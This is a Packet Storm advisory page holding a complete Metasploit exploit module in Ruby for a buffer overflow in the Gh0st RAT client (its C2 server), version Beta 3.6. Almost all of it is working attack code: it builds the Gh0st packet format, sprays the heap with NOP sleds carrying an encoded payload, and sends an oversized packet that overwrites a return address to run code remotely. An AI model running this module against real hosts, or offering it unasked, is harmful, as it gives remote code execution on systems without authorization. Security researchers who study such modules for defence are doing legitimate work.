Gh0st Client Buffer Overflow

2017-09-07T00:00:00
ID PACKETSTORM:144029
Type packetstorm
Reporter Professor Plum
Modified 2017-09-07T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'zlib'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gh0st Client buffer Overflow',  
'Description' => %q{  
This module exploits a Memory buffer overflow in the Gh0st client (C2 server)  
},  
'Author' => 'Professor Plum',  
'License' => MSF_LICENSE,  
'References' =>  
[  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'AllowWin32SEH' => true  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => '',  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed  
},  
'Platform' => 'win',  
'DisclosureDate' => 'Jul 27 2017',  
'Targets' =>  
[  
['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),  
Opt::RPORT(80)  
]  
)  
end  
  
def make_packet(id, data)  
msg = id.chr + data  
compressed = Zlib::Deflate.deflate(msg)  
datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed  
end  
  
def validate_response(data)  
if data.nil?  
print_status('Server closed connection')  
return false  
end  
if data.empty?  
print_status('No response recieved')  
return false  
end  
if data.size < 13  
print_status('Invalid packet')  
print_status(data)  
return false  
end  
mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')  
if mag.index(datastore['MAGIC']) != 0  
print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])  
return false  
end  
if pktlen != data.size  
print_status('Packet size mismatch')  
return false  
end  
msg = Zlib::Inflate.inflate(data[13..data.size])  
if msg.size != msglen  
print_status('Packet decompress failure')  
return false  
end  
return true  
end  
  
def check  
connect  
sock.put(make_packet(101, "\x00")) # heartbeat  
if validate_response(sock.get_once || '')  
return Exploit::CheckCode::Appears  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Trying target #{target.name}")  
print_status('Spraying heap...')  
for i in 0..100  
connect  
sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))  
if not validate_response(sock.get_once)  
disconnect  
return  
end  
end  
  
for i in 103..107  
print_status("Trying command #{i}...")  
begin  
connect  
sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)  
sock.put(sploit)  
if validate_response(sock.get_once)  
next  
end  
sleep(0.1)  
break  
rescue EOFError  
print_status('Invalid')  
end  
end  
handler  
disconnect  
end  
end  
`